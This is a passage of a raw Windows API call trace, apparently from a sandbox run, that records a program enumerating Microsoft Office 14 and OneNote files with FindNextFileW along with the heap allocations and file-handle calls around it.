ftLastAccessTime.dwLowDateTime=0x597f2350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82531f00, ftLastWriteTime.dwHighDateTime=0x1cab7f0, nFileSizeHigh=0x0, nFileSizeLow=0xc4390, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONBttnIE.dll", cAlternateFileName="")) returned 1 [0079.211] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8121f200, ftCreationTime.dwHighDateTime=0x1cab7f0, ftLastAccessTime.dwLowDateTime=0x6be845d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8121f200, ftLastWriteTime.dwHighDateTime=0x1cab7f0, nFileSizeHigh=0x0, nFileSizeLow=0x91390, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONBttnIELinkedNotes.dll", cAlternateFileName="")) returned 1 [0079.211] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee925900, ftCreationTime.dwHighDateTime=0x1cab8aa, ftLastAccessTime.dwLowDateTime=0x6beaa730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xee925900, ftLastWriteTime.dwHighDateTime=0x1cab8aa, nFileSizeHigh=0x0, nFileSizeLow=0xdbd80, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONBttnOL.dll", cAlternateFileName="")) returned 1 [0079.211] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82531f00, ftCreationTime.dwHighDateTime=0x1cab7f0, ftLastAccessTime.dwLowDateTime=0x6bed0890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82531f00, ftLastWriteTime.dwHighDateTime=0x1cab7f0, nFileSizeHigh=0x0, nFileSizeLow=0x9d580, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONBttnPPT.dll", cAlternateFileName="")) returned 1 [0079.211] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8121f200, ftCreationTime.dwHighDateTime=0x1cab7f0, ftLastAccessTime.dwLowDateTime=0x6bed0890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8121f200, ftLastWriteTime.dwHighDateTime=0x1cab7f0, nFileSizeHigh=0x0, nFileSizeLow=0x9d578, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONBttnWD.dll", cAlternateFileName="")) returned 1 [0079.211] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c1f0570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c1f0570, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNote", cAlternateFileName="")) returned 1 [0079.211] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote" (normalized: "c:\\program files\\microsoft office\\office14\\onenote"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c1f0570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c1f0570, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0079.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote" (normalized: "c:\\program files\\microsoft office\\office14\\onenote"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0079.212] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0079.212] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11ec790 [0079.212] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11ec790, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x11ec790, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0079.212] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11ec790) returned 1 [0079.212] NtClose (Handle=0x168) returned 0x0 [0079.212] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.212] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.212] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.213] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0079.213] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9040 [0079.222] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c1f0570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c1f0570, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.222] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5fd1300, ftCreationTime.dwHighDateTime=0x1c8e623, ftLastAccessTime.dwLowDateTime=0x6c1f0570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc5fd1300, ftLastWriteTime.dwHighDateTime=0x1c8e623, nFileSizeHigh=0x0, nFileSizeLow=0x1fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendToOneNote-PipelineConfig.xml", cAlternateFileName="")) returned 1 [0079.222] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.222] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.222] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.222] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.222] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.222] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa4f40 [0079.223] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.223] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9a60 [0079.223] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11ddb40 [0079.223] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.223] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7167100, ftCreationTime.dwHighDateTime=0x1c9d832, ftLastAccessTime.dwLowDateTime=0x598184b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa7167100, ftLastWriteTime.dwHighDateTime=0x1c9d832, nFileSizeHigh=0x0, nFileSizeLow=0x2580, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendToOneNote.gpd", cAlternateFileName="")) returned 1 [0079.223] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.223] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.223] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.223] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.223] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.224] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9a80 [0079.224] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11de380 [0079.224] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4c40) returned 0x11ec790 [0079.224] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xacb2b8) returned 1 [0079.224] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.224] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d77db00, ftCreationTime.dwHighDateTime=0x1c8e25a, ftLastAccessTime.dwLowDateTime=0x6c1f0570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7d77db00, ftLastWriteTime.dwHighDateTime=0x1c8e25a, nFileSizeHigh=0x0, nFileSizeLow=0x7b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendToOneNote.ini", cAlternateFileName="")) returned 1 [0079.224] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.225] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.225] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.225] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.225] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.225] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9aa0 [0079.225] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11de488 [0079.225] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.225] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb7e9d00, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x5983e610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb7e9d00, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x1bf88, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendToOneNOteFilter.dll", cAlternateFileName="")) returned 1 [0079.225] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.226] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.226] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.226] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.226] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.226] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.226] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5b7d200, ftCreationTime.dwHighDateTime=0x1c8edfe, ftLastAccessTime.dwLowDateTime=0x5983e610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf5b7d200, ftLastWriteTime.dwHighDateTime=0x1c8edfe, nFileSizeHigh=0x0, nFileSizeLow=0x51, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendtoOneNoteFilter.gpd", cAlternateFileName="")) returned 1 [0079.226] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.226] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.226] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.227] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.227] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.227] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9ac0 [0079.227] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11de590 [0079.227] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.227] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a1fd700, ftCreationTime.dwHighDateTime=0x1c8e624, ftLastAccessTime.dwLowDateTime=0x5983e610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2a1fd700, ftLastWriteTime.dwHighDateTime=0x1c8e624, nFileSizeHigh=0x0, nFileSizeLow=0x1ca2, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendToOneNoteNames.gpd", cAlternateFileName="")) returned 1 [0079.227] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.227] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.227] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.228] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.228] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.228] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9ae0 [0079.228] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11de698 [0079.228] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.228] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb7e9d00, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x6c2166d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb7e9d00, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0xeb80, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendToOneNoteUI.dll", cAlternateFileName="")) returned 1 [0079.228] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.228] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.228] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.229] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.229] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.229] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.229] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb7e9d00, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x6c2166d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb7e9d00, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0xeb80, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendToOneNoteUI.dll", cAlternateFileName="")) returned 0 [0079.229] GetLastError () returned 0x12 [0079.229] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f80 [0079.229] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0079.229] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c1f0570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c1f0570, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.229] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5fd1300, ftCreationTime.dwHighDateTime=0x1c8e623, ftLastAccessTime.dwLowDateTime=0x6c1f0570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc5fd1300, ftLastWriteTime.dwHighDateTime=0x1c8e623, nFileSizeHigh=0x0, nFileSizeLow=0x1fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendToOneNote-PipelineConfig.xml", cAlternateFileName="")) returned 1 [0079.229] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7167100, ftCreationTime.dwHighDateTime=0x1c9d832, ftLastAccessTime.dwLowDateTime=0x598184b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa7167100, ftLastWriteTime.dwHighDateTime=0x1c9d832, nFileSizeHigh=0x0, nFileSizeLow=0x2580, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendToOneNote.gpd", cAlternateFileName="")) returned 1 [0079.229] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d77db00, ftCreationTime.dwHighDateTime=0x1c8e25a, ftLastAccessTime.dwLowDateTime=0x6c1f0570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7d77db00, ftLastWriteTime.dwHighDateTime=0x1c8e25a, nFileSizeHigh=0x0, nFileSizeLow=0x7b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendToOneNote.ini", cAlternateFileName="")) returned 1 [0079.229] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb7e9d00, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x5983e610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb7e9d00, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x1bf88, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendToOneNOteFilter.dll", cAlternateFileName="")) returned 1 [0079.229] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5b7d200, ftCreationTime.dwHighDateTime=0x1c8edfe, ftLastAccessTime.dwLowDateTime=0x5983e610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf5b7d200, ftLastWriteTime.dwHighDateTime=0x1c8edfe, nFileSizeHigh=0x0, nFileSizeLow=0x51, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendtoOneNoteFilter.gpd", cAlternateFileName="")) returned 1 [0079.229] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a1fd700, ftCreationTime.dwHighDateTime=0x1c8e624, ftLastAccessTime.dwLowDateTime=0x5983e610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2a1fd700, ftLastWriteTime.dwHighDateTime=0x1c8e624, nFileSizeHigh=0x0, nFileSizeLow=0x1ca2, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendToOneNoteNames.gpd", cAlternateFileName="")) returned 1 [0079.229] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb7e9d00, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x6c2166d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb7e9d00, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0xeb80, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendToOneNoteUI.dll", cAlternateFileName="")) returned 1 [0079.229] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb7e9d00, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x6c2166d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb7e9d00, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0xeb80, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendToOneNoteUI.dll", cAlternateFileName="")) returned 0 [0079.229] GetLastError () returned 0x12 [0079.230] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0079.230] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0079.230] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa4f40) returned 1 [0079.230] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.231] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c5ccd00, ftCreationTime.dwHighDateTime=0x1cacf90, ftLastAccessTime.dwLowDateTime=0x6bf1cb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2c5ccd00, ftLastWriteTime.dwHighDateTime=0x1cacf90, nFileSizeHigh=0x0, nFileSizeLow=0x208560, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONENOTE.EXE", cAlternateFileName="")) returned 1 [0079.231] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde807b00, ftCreationTime.dwHighDateTime=0x1ca1b0c, ftLastAccessTime.dwLowDateTime=0x597f2350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xde807b00, ftLastWriteTime.dwHighDateTime=0x1ca1b0c, nFileSizeHigh=0x0, nFileSizeLow=0x138f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONENOTEIRM.XML", cAlternateFileName="")) returned 1 [0079.231] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb7e9d00, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x6bf1cb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb7e9d00, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x3bd80, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONENOTEM.EXE", cAlternateFileName="")) returned 1 [0079.231] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb7e9d00, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x597f2350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb7e9d00, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x26d70, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONENOTEMANAGED.DLL", cAlternateFileName="")) returned 1 [0079.231] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c5ccd00, ftCreationTime.dwHighDateTime=0x1cacf90, ftLastAccessTime.dwLowDateTime=0x6bf42cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2c5ccd00, ftLastWriteTime.dwHighDateTime=0x1cacf90, nFileSizeHigh=0x0, nFileSizeLow=0x182970, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONFILTER.DLL", cAlternateFileName="")) returned 1 [0079.231] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb7e9d00, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x6bf68e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb7e9d00, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x135a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONLNTCOMLIB.DLL", cAlternateFileName="")) returned 1 [0079.231] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d8dfa00, ftCreationTime.dwHighDateTime=0x1cacf90, ftLastAccessTime.dwLowDateTime=0x6c157ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2d8dfa00, ftLastWriteTime.dwHighDateTime=0x1cacf90, nFileSizeHigh=0x0, nFileSizeLow=0xd3e368, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONMAIN.DLL", cAlternateFileName="")) returned 1 [0079.231] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8121f200, ftCreationTime.dwHighDateTime=0x1cab7f0, ftLastAccessTime.dwLowDateTime=0x598184b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8121f200, ftLastWriteTime.dwHighDateTime=0x1cab7f0, nFileSizeHigh=0x0, nFileSizeLow=0xa8180, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONPPTAddin.dll", cAlternateFileName="")) returned 1 [0079.231] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, 